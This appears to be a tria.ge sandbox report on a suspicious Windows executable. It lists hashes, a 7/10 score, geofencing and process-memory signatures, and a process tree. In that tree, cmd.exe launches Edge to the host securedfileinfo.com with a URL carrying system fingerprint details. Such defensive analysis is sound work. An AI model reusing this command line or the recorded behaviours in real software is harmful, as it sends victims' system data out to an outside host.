Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
187s -
max time network
228s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
27/11/2022, 13:09
Static task
static1
Behavioral task
behavioral1
Sample
a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe
Resource
win7-20220901-en
windows7-x64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe
Resource
win10v2004-20221111-en
windows10-2004-x64
7 signatures
150 seconds
General
-
Target
a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe
-
Size
143KB
-
MD5
eb970c958493510a89eabdc999d96cdb
-
SHA1
e1550adf5659fb83d028bc24e3a5451ef8afd784
-
SHA256
a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688
-
SHA512
fefb045dcd00727762d7589290b359cbf23c05ca2127fe32e345575d49305c9a901da6ab8e17237a7a6ff03d647c55b9fcffb1abcf08e2815c46ee96bfa579b1
-
SSDEEP
3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45Dj:pe9IB83ID5X
Score
7/10
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4612 msedge.exe 4612 msedge.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1704 a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 1704 a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1704 wrote to memory of 1716 1704 a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe 82 PID 1704 wrote to memory of 1716 1704 a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe 82 PID 1704 wrote to memory of 1716 1704 a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe 82 PID 1716 wrote to memory of 4720 1716 cmd.exe 86 PID 1716 wrote to memory of 4720 1716 cmd.exe 86 PID 4720 wrote to memory of 4804 4720 msedge.exe 91 PID 4720 wrote to memory of 4804 4720 msedge.exe 91 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 2128 4720 msedge.exe 96 PID 4720 wrote to memory of 4612 4720 msedge.exe 97 PID 4720 wrote to memory of 4612 4720 msedge.exe 97 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98 PID 4720 wrote to memory of 4148 4720 msedge.exe 98
Processes
-
C:\Users\Admin\AppData\Local\Temp\a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe"C:\Users\Admin\AppData\Local\Temp\a761b87038d22be2e205e544383fd7ce33c42c4cbe609664e091e96c2b900688.exe"1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=4300109^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt32^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"2⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=4300109&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt32|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p13⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffca9d746f8,0x7ffca9d74708,0x7ffca9d747184⤵PID:4804
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2684,18265189556530926375,5353366954510237837,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2700 /prefetch:24⤵PID:2128
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2684,18265189556530926375,5353366954510237837,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2908 /prefetch:34⤵
- Suspicious behavior: EnumeratesProcesses
PID:4612
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2684,18265189556530926375,5353366954510237837,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3056 /prefetch:84⤵PID:4148
-
-
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:3924